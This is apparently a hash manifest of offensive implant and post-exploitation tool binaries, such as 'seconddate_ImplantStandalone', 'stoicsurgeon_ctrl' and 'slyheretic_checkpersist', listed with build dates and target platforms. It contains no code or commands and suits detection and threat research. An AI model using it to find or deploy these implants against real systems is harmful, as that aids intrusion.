+84CD55CD68A8A0EDF3648A245CBB1D0C78C984FF Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i386-pc-solaris2.6 +CAD61FCFB3F168F3DC787673FE4B869F76D099B6 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i386-unknown-freebsd4.0 +7FC81026258CBF9EED9CBBB4988A8508BD745F1A Thu May 8 14:56:00 2008 [PITCHIMPAIR.12] forkpty.i386-unknown-freebsd6.0 +AF04CC09AB779167D7BFB2CA7FF1669613A8555F Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.i586-pc-linux-gnu +FB3D6B43DA8C8CF0A490AB1FF50DF360CBFA9641 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] forkpty.sparc-sun-solaris2.6 +6DC81917B194C729182613157407541020D17C1B Tue Apr 27 14:53:47 2010 [PITCHIMPAIR.12] forkpty.x86_64-unknown-linux-gnu +DD6AE0790E2C1B0238207B3EAC6A1056C2498289 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime-it.sparc-sun-solaris2.8 +429426C91E29E6F10308AA2891A8C9D409E4EF34 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime-it.sparc-sun-solaris2.8_sparcv9 +6B182A140BE5FBB8F107098CF84B287DABF7B46F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa1.1-hp-hpux10.20 +6B182A140BE5FBB8F107098CF84B287DABF7B46F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa2.0-hp-hpux10.20 +5758A9810DE2C5D5D38FB7C1B25D998FEF4B9162 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.hppa2.0w-hp-hpux11.00 +02B15A67552117761A98E7739A27CE88CC76EC57 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.hppa2.0w-hp-hpux11.11 +F6845C5A20AAFB6CD0BB19717E0E6ED233077E3F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.6 +6746A83B3A1A183176AF6E4C91E655ACBFBE62DE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.7 +CD7E19ADD74185055260785DE7C9B6D21B652FFD Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.8 +7FCC02F17A5DE726E1041473DD81BEAD4EF82864 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i386-pc-solaris2.9 +B60BE45F9408ED3AA6A01AD8AF387B2509939C4F Thu Sep 8 17:52:46 2011 [PITCHIMPAIR.12] itime.i686-pc-linux-gnu-2.2.14-5.0 +C5535FFFF8C0BE53EF70118ABDF22B854C0B9D3E Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.i686-pc-linux-gnulibc1-slackware-4.0.0 +8865D56AEFBBF87D68050F47271E381EE3590318 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.powerpc-ibm-aix4.3.2.0 +51C484A0FEA159D974546A9F19B54FDEDBD9B674 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.4 +704A11F63FC852123ADCD9DA235E848CECF560B6 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.5 +B50B7AC932A9173A7F1456344EFC40DFED33E0AA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.5.1 +32D715337ABB761BBCD9783D9738C80DC5CD1004 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.6 +781904F6ADF855A064006033776E33EAE2D31158 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.7 +31A410F638AE2A7225FA8D77C17086948942CC15 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.7_sparcv9 +DD6AE0790E2C1B0238207B3EAC6A1056C2498289 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.8 +429426C91E29E6F10308AA2891A8C9D409E4EF34 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.8_sparcv9 +F6A5CD0BBB29CA644F6354E3F6942A7D72229275 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.9 +E4A4E3157EB6F68F2CC93E45187E85405D176A72 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] itime.sparc-sun-solaris2.9_sparcv9 +58FCC0746EEE57F6EBF964702A7D30CF107CBDCD Fri Oct 13 17:24:37 2006 [PITCHIMPAIR.12] jlhelper.debian.sparc +2054077215C879800BEC43A2C48620EFBB3297DB Wed May 10 18:36:39 2006 [PITCHIMPAIR.12] jlhelper.suse.x86_64 +7351950BCB494DA867374BF725C757F80C2EB8D0 Fri Mar 30 18:55:12 2007 [PITCHIMPAIR.12] orleans_stride.0.0.sunos5.8_v.2.3 +DD0AC5AA8F47AD681C486863DF4D26614C799199 Thu Jul 26 17:24:14 2007 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.4.0.2 +CDF7E474E7807FF17B3FE6AB1387D373F036CC86 Tue Nov 25 14:31:56 2008 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.0.2 +65E152D60D795D572D5743D3ECC22DE827D82B1E Fri May 15 14:09:10 2009 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.1.9 +24E26751DCEB9199141EF898844305FE1F1F3271 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.2.5.2.7 +FC17BF018A02B75A5E2A21CFE560361AE4CE5A76 Fri Jul 9 13:35:28 2010 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.3.0.0.1 +902F95FB45F04D92C634FDE728776802B42723DF Tue Apr 26 11:10:48 2011 [PITCHIMPAIR.12] orleans_stride.aix5.1_v.3.1.0.1 +B93F3A67E73EFB0C953B8B6880E4DD343F598E85 Thu Jul 26 17:27:20 2007 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.4.0.2 +A9EDE9DACDD3F170F45844D3ED9584A1EF97F701 Fri Nov 7 16:57:21 2008 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.0.2 +D0CC103697961D6E9D342275C635482ABBD30545 Fri May 15 14:09:21 2009 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.1.9 +E288D1DEED89864493CC97D287FD636AA5B523C8 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.2.5.2.7 +0DF93CD9EE88E4EB4201A9E9ABC4AAFECCEADA69 Fri Jul 9 13:35:28 2010 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.3.0.0.1 +6AE5B63149E94C20B3848E265B80D2E0D65FBC09 Sat Mar 26 23:10:45 2011 [PITCHIMPAIR.12] orleans_stride.sunos5.8_v.3.1.0.1 +B41546413BE32E7B64E676793FC22FBE58171B73 Thu Jul 26 17:28:00 2007 [PITCHIMPAIR.12] orleans_stride.sunos5.9_v.2.4.0.2 +24E26751DCEB9199141EF898844305FE1F1F3271 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.v2.5.2.7.aix5.1_v.superseded +E288D1DEED89864493CC97D287FD636AA5B523C8 Mon Nov 2 19:29:11 2009 [PITCHIMPAIR.12] orleans_stride.v2.5.2.7.sunos5.8_v.superseded +6290028FE300A5739CFD593B6FAC6614D9B02149 Fri Oct 13 13:57:22 2006 [PITCHIMPAIR.12] orleans_tride.sunos5.8_v.2.0 +4B327E0A3E6FC3197836DF73A7D5341A7BF872DC Fri Mar 16 19:19:54 2007 [PITCHIMPAIR.12] orleans_tride_v2.2_aix5.1_v.2.2 +7E5B887A7DE35F2923C1E5AF506FF254DD6104D7 Thu Feb 14 00:03:45 2008 [PITCHIMPAIR.12] pclean +5F281F0D6A83D57277F533874713E8EFB5BD21BA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.FreeBSD_4.1.i386-unknown-freebsd4.0 +95EEDA330A033FB00A44ADD456D043DE5292FCCE Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.old.hppa1.1-hp-hpux10.20 +31AAB7F611DEFA1F11A8B9517A4B4FD175317BA8 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.alphaev6-dec-osf4.0f +839C48ED1DF74AC00045FDF376C7C6CB880289F9 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.hppa1.1-hp-hpux10.20 +955A5E182EC3917248C58D71F505BB495A598421 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.i386-pc-solaris2.7 +64A83439FCB41405587DA92441D3E0675F5E727F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.i386-unknown-freebsd4.0 +8BB3AECD2B44E4ABC3E54815318961DA5422DAAE Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean-pclean.prev.sparc-sun-solaris2.5 +16C9634E10DFC2C369B5A4117FEE1664218020C4 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.alphaev6-dec-osf4.0f +145B7BEA50BD5D8A9E21FFF035A86FEAC90F7957 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.hppa1.1-hp-hpux10.20 +CD41D358EDFF7FEF5E19C02917F8E34F72965365 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-pc-bsdi4.0.1 +E7D13E998E62234308278EACC5B513FDA407511F Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-pc-solaris2.7 +5F281F0D6A83D57277F533874713E8EFB5BD21BA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i386-unknown-freebsd4.0 +8B39B50F977168435E986571A704976E0D965E16 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.i586-pc-linux-gnu +3BD679C76B6716E3ECBCC959EC7FCC6AD344D01D Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.2 +7B61B5691FABFC4593E92C2F8D810CF55B3F8EE8 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.3 +C98C109CCE447CC054A0F6EC3800841011C18F20 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.mips-sgi-irix6.5 +D38A306AD37197A718FC3212CA7DA410A90698DA Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-solaris2.4 +7E5B887A7DE35F2923C1E5AF506FF254DD6104D7 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-solaris2.5 +EF498E8FA12CF861C5622CE3E454EAD94876C0D1 Thu Feb 14 00:00:44 2008 [PITCHIMPAIR.12] pclean.sparc-sun-sunos4.1.3 +B5DE2A5035D09771780B5B894D6C8B9E2EE53913 Fri Apr 17 02:10:41 2009 [PITCHIMPAIR.12] pork-inetd.gcc.v3.1.0.1 +A6DC376B81619597F495BE594E5C612103377B15 Wed May 5 17:21:19 2010 [PITCHIMPAIR.12] inetd.gcc.v3.2.0.1 +F6B9BD5B799BD69EFCEC29C335EFCB4DA7086138 Tue Dec 4 21:47:33 2007 [PITCHIMPAIR.12] porkserver.v3.0.0.1 +7DCFD0A7895834A7CEA7FDE48DFE43919C3E6BE9 Wed Nov 8 16:20:36 2006 [PITCHIMPAIR.12] jackladderhelper.aix.4.3 +A87D49EB1DECDE05F095745948B2FB9BFCC09CFA Wed Nov 8 16:20:16 2006 [PITCHIMPAIR.12] jackladderhelper.aix.5.1 +C4AC8740F0D0B932EDC09B577D24027423B122AF Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-2.0-2.2 +43163B06585F45012B5BB77980553341E75A9595 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-2.2-2.4 +639A08DB3946F56FFE2D9C0DA83101F772009E55 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-kmod +67D2A1F41FFF896A57DC211199B5E1FE699A9DE9 Thu Feb 14 00:08:24 2008 [PITCHIMPAIR.12] ptrace-port-24876 +933BE9B3C205EF7B473AC8916DBEDA4AE9A835BB Thu Sep 30 19:58:15 2004 [PITCHIMPAIR.12] rsync-2.6.3-i686-pc-linux-gnu +811649EF2FE631D94014F91D98C9538538599840 Sun Dec 28 06:01:00 2008 [PITCHIMPAIR.12] rsync-3.0.5-i386.pc.solaris-2.6 +C978E2504A9E241205DF2F1A4B86EA34F4D87792 Wed Jun 3 11:46:20 2009 [PITCHIMPAIR.12] rsync-3.0.5-i686-pc-linux-gnu +3C6F79214E32C282CD6300A75CB7E54A82604BDD Sun Dec 28 06:01:00 2008 [PITCHIMPAIR.12] rsync-3.0.5-sparc.sun.solaris-2.6 +6E86AD901423AEF790A6F31DFB35C7B59DAB9B57 Thu May 24 16:11:09 2007 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.3.0.1_linux +72740BFFF9A876E72F4D7C4B23C17C880D120C75 Fri Apr 11 17:55:39 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.5.1.2_linux +723CAB027366ACCDEAB2F13675AE67D5D137C905 Tue Jun 24 14:51:43 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.5.1.3_linux +856728EA8FEB71B38397996556B6B10EA173036A Wed Aug 13 15:34:55 2008 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.6.2.3_linux +B8112F9FFB79EC3DE32FF9878AFA236537B65327 Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_i386-linux +FD00CE7A90C70CF8BF565BB9C52C22BD8935E5AD Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_i386-solaris +D6A4CB573B66F3653EEEAA5BF1BF1A6B7E2FE965 Fri Apr 24 21:02:37 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_sparc-solaris +F30782389B78BCE5C7ABB1877869ABB4E8D3710A Tue Apr 28 19:31:59 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.1_x86_64-linux +759A2E04E8957E58807F1A7C6B7444DD6B899F29 Mon May 18 14:29:39 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.2_armv5b-linuxlinux-arm +D33CDCD3D15E873668EA016FD4C43EE8D9CD5A0E Mon Jul 6 10:32:44 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.3_trunklien +82E5A8B90F613578C668C552AFC1574EA19B29DA Thu Jul 2 18:13:35 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.4_trunklien +9D39CEE4614A8FBF7E64A1B41581072016F101AF Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd4 +78A93E106D842699D53BF022331F56504D712291 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd5 +AFCB73A2266CDDD8E2ED87F9E1360CCE3966A7C0 Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd6 +3E536DC7F73AE7B8EFD079F55228E1709963E1AE Thu Aug 13 19:12:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-freebsd7 +8F1B40AEF3864BB9997392A60D537C7564DC7510 Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.4-belowtrunklien +61D8B078DB726551FF49982F84B672EB5DFE739D Thu Mar 11 17:13:53 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.5_i386-junos-8.5-abovetrunklien +DB103AA8D8849A6C47FBEA5E92DD84899C492F83 Fri Oct 2 21:53:10 2009 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.6_sparc-solaris +4ADB8C14CFC2B6F06C9A344247A64DFD73812482 Tue May 11 14:03:18 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.7_i386-junos-8.5-abovetrunklien +2DA47A2B3BC3E8D3E2D170B053A9F499B58F3AEE Wed Aug 18 16:44:22 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.0.8_i386-junos-8.5-abovetrunklien +C3E4D1175F64508220491E78A0F83FDC76DE0814 Mon Nov 22 20:06:41 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.1.0_i386-junos-8.5-abovetrunklien +D72A6D8D447BD3F4655B734E1C9706B49010AED2 Thu Feb 17 18:46:50 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_1.7.1.1_i386-junos-8.4-belowtrunklien +07E891D088736FBCB18E699136866BD478482227 Thu Dec 9 16:52:33 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.1_i386-linux +07801F36004AB4F0DE4DAABA0BA79CCCEBBD2BB5 Thu Dec 9 18:06:46 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.2_x86_64-linux +2757FD8EE281E6109A83C0155A4D107AEC5015C8 Fri Dec 10 15:06:20 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.3_i386-freebsd +B5A8DBF522B0A3A9CD834A1A89D9EFE2DD878EC8 Fri Dec 10 20:51:02 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.4_x86_64-freebsd +9B26F16F3454E5837C2963345E366DFF99F4ACBD Tue Dec 14 20:28:05 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.5_sparc-solaris +ED0A01C5820815E84DD8C26839C1DEE8D87B7DD3 Wed Dec 22 22:30:14 2010 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.0.6_i386-solaris +81488DD2D0BDFE24D21C87E10BAD26765743F823 Fri Jun 10 15:14:55 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.1_i386-linux +0220D8911B7CF7093BF7280880C914350E67F55A Mon Jun 13 13:46:15 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.2_x86_64-linux +362912F2DB33F1B428AEA37E09D25872B9DF9A11 Tue Jun 14 17:28:21 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.3_i386-freebsd +C7D44BB3B00D0C02976E9740082B4F0CABFBC8ED Wed Jun 15 17:25:14 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.3.4_x86_64-freebsd +FB1AC5C36BBDF1CFA6D50A29980A83EF6480CEFE Wed Jun 22 15:35:10 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.4.5_sparc-solaris +1A2073B47510904F9EA881F8CFA2C85F28EEE799 Wed Jun 22 19:57:22 2011 [PITCHIMPAIR.12] seconddate_ImplantStandalone_2.0.4.6_i386-solaris +E7E29A322341011180FD69F830C4BE5B51078ED9 Thu Feb 14 00:08:23 2008 [PITCHIMPAIR.12] sgrep +C1DFC083ECCE3A5A119F004B967E66F3B2685896 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.alphaev6-dec-osf4.0f +4DCE8013B74919BD19815A5F31DF009C6A98DC8E Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.hppa1.1-hp-hpux10.20 +6D09961BC9FFBA41FE540ECC6EA45B1E85412AF0 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.hppa1.1-hp-hpux11.00 +FE513BB7FC66AB3FBB09BE785FA6F7DD08B3D49B Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-bsdi4.0.1 +72CD6000CE8239787DE0337D50D0DB6850B21AC2 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-sco3.2v5.0.5 +2CA752F8BF0A1572E97FF8317D89F1ABDB75510E Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.6 +94C9FC22B52B297532A87276B8AA777D2637A314 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.7 +5404DC7FC01F96509032F7405FA88CC3FD48855B Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-pc-solaris2.8 +1B7BAEC89757639814694B7DFD653D4595199ED7 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i386-unknown-freebsd4.0 +FCC3958ED51A411D621BAE36211A6B6637DC5DA6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i486-pc-linux-gnu +EA50081C8D252AA2DDE248A50E371D055B900BED Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i486-pc-linux-gnulibc1 +E7E29A322341011180FD69F830C4BE5B51078ED9 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i586-pc-linux-gnu +7E21D748CFB793658E529B1712E646B84CCBC8B6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnu +7E21D748CFB793658E529B1712E646B84CCBC8B6 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnu-redhat-7.0 +69BE668A9643082EC5245D93CF54F6F7D3209348 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.i686-pc-linux-gnulibc1-slackware-4.0.0 +99933EABFAA24F9F92EA154D5E95D416360301EA Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.mips-sgi-irix5.3 +7A5805B643CE14DD4D71CDD7D3EE341B58EA1648 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.powerpc-apple-darwin1.3 +BA6EF019DE1D1668C0A9899183DA0EEDEACC02BC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.powerpc-ibm-aix5.1 +C71CF2D5DB88F7CADD93803AA9F1464346B02B28 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.3 +38FF47B29B112F492E75D85AD00E17494BF751BF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.4 +2B27421BD52221923B17AB7D09161BFDCE80B35A Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.5 +019863194202DC183EE326B6737454682B180882 Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.5.1 +BC0F10A914D1B1EE0BD9161158B4ECA314D72CAF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.6 +74A1CC94CE0175B54C56ACCA7F0BE4C2FD16EDAF Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.7 +51464E7E890E6FB8C9EC7E943C2265E6D338684F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-solaris2.8 +96AAAB0A4494F56EC7214ABEF9D083D0636B28FC Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.1 +0A1E0F7A52CC97B05F58EC866259F203C5159F7F Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.2 +CBC2FD9E635F6EFEED623B9FD17B0CEC9B56945D Thu Feb 14 00:00:45 2008 [PITCHIMPAIR.12] sgrep.sparc-sun-sunos4.1.3 +FF20BB527EB02EFC1EDDD6C45732EE308C0C7EA7 Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.linux_v.2.0.1.1 +FD56631F47701C20DDF63D42712CA55349ED2B86 Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.solaris.sparc_v.2.0.1.1 +B226BD9E2629ED19D345CCE60440507C1AED246C Thu Oct 15 21:10:03 2009 [PITCHIMPAIR.12] sift.solaris.x86_v.2.0.1.1 +FF4C1F400BB1BA53A153BDBD3F57FDB4537743F8 Fri Mar 6 17:47:24 2009 [PITCHIMPAIR.12] skimcountry.aix5.1_v.1.4.0.10 +C6B0D0D7DE22D73BA10D489F54DEEEBA1F160667 Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.12] skimcountry.aix5.1_v.2.0.0.3 +993D905CB92BE323CA83330F353E348E4AD91006 Fri Mar 6 17:48:58 2009 [PITCHIMPAIR.12] skimcountry.sunos5.8_v.1.4.0.10 +E0D3C2B414F88E9A82D2A20E5BF530999DF1685B Mon Jul 26 12:49:55 2010 [PITCHIMPAIR.12] skimcountry.sunos5.8_v.2.0.0.3 +181E9E23A0C158E690CE271E7061E6D6F52EEAFC Tue Aug 15 16:56:21 2006 [PITCHIMPAIR.12] skimcountry.sunos5.9_v.1.2 +047F217B798BEDCA2D7851822EA56A186ACBD379 Tue May 27 19:19:11 2008 [PITCHIMPAIR.12] skimcountry.v1.3.0.2.sunos5.8_v.1.3.0.2_solaris_8 +8F6114ABF88C2807CD1F76BCC35F0F6EBE4D2B7B Tue May 27 19:19:43 2008 [PITCHIMPAIR.12] skimcountry.v1.3.0.2.sunos5.9_v.1.3.0.2_solaris_9 +410E467CC96BDCF8A0382BB08D6128282893A6D9 Fri Oct 22 15:47:38 2010 [PITCHIMPAIR.12] skimcountry__flx.aix5.1.powerpc_v.1.0.0.4 +760F723A7DA566B4D850AAD691136BCA0E964C91 Mon Jun 6 18:02:29 2011 [PITCHIMPAIR.12] skimcountry__flx.aix5.1.powerpc_v.1.0.1.1 +06BAF31163918BB9C150D7577477BE6FA61933CF Tue May 4 21:08:53 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.3.1_i386_linux +DF88B23638C542B423FEAEC1374D77E73DAE8B45 Tue May 4 21:12:47 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.3.2_x86_64_linux +4114573DDE1E85CBB2364007AD19B5A697B489E2 Mon Jun 14 21:36:56 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.4.1_ppc_aix +2DC548DF58C418D1BCE2B99C5B261CC5F01A1F42 Thu Aug 5 17:48:15 2010 [PITCHIMPAIR.12] slyheretic_checkpersist__v__2.0.5.1_ppc_aix +F17D2214974CA73B7FE56A3273D86014D1D679F7 Tue May 4 21:08:53 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.3.1_i386_linux +8CE5D8A8755429A8508BC81823FE2A24A483934A Tue May 4 21:12:47 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.3.2_x86_64_linux +88C58E170C2196F542F62DA5AEAF7668F94442E8 Mon Jun 14 21:36:56 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.4.1_ppc_aix +1B81A3C61AEE5036D187D2827729AFDBE0DA91AA Thu Aug 5 17:48:15 2010 [PITCHIMPAIR.12] slyheretic_checkprocess__v__2.0.5.1_ppc_aix +FD9E0B5FE710A6E03BA18EC4BE99655656AB2136 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.10.2_i686-pc-linux-gnu-2.4.20-av15 +FD9E0B5FE710A6E03BA18EC4BE99655656AB2136 Wed Jun 7 19:44:02 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.10.3_i686-pc-linux-gnu-2.6.11-av15 +49EA6719E4DD1F2D9DC88D59C29DE92E1F480991 Wed Jun 7 20:32:22 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.11.1_sparc-sun-solaris2.10 +101B9E8BCE36A8DC64D8CBA93D4516418550E89E Tue Aug 22 14:22:36 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.10_i686-pc-linux-gnu-2.4-tilttop-ns +85DEF1B22935C77D9A97270EE9CF3DD2FD905F8A Tue Aug 8 19:50:04 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.1_i686-pc-linux-gnu-2.6.9-34.el +16CE136EEFBDE7C623FBB0FA4D80B3963832D64F Mon Aug 14 19:12:29 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.6_i686-pc-linux-gnu-2.4-tilttop-comet +D9F525CA65B00EE9F2744F7C9E93326684240A73 Thu Aug 17 14:35:37 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.15.8_i686-pc-linux-gnu-2.4.20-8 +0639CBDC058F864B51E8D9DB4ECBBFB053444F09 Thu Mar 2 19:16:45 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.5.2_sparc-sun-solaris2.8 +FE0BFA01E34DF1022CC8E864C6DC3E4BC6606705 Thu Mar 2 19:28:08 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.5.3_sparc-sun-solaris2.9 +5F9B9A5B4291C855F6BCF4B074997EE10C1D7FE5 Thu Jul 27 13:40:05 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.0.7.1_i386-pc-solaris2.8 +BD2E33ACC0F34A4B2AB9502B31D48C154123420D Mon Dec 18 18:29:24 2006 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.1.14.1_x86-linux-centos +C55060A345B6804A068F1437371A089AB44A3262 Wed Jan 3 17:11:43 2007 [PITCHIMPAIR.12] 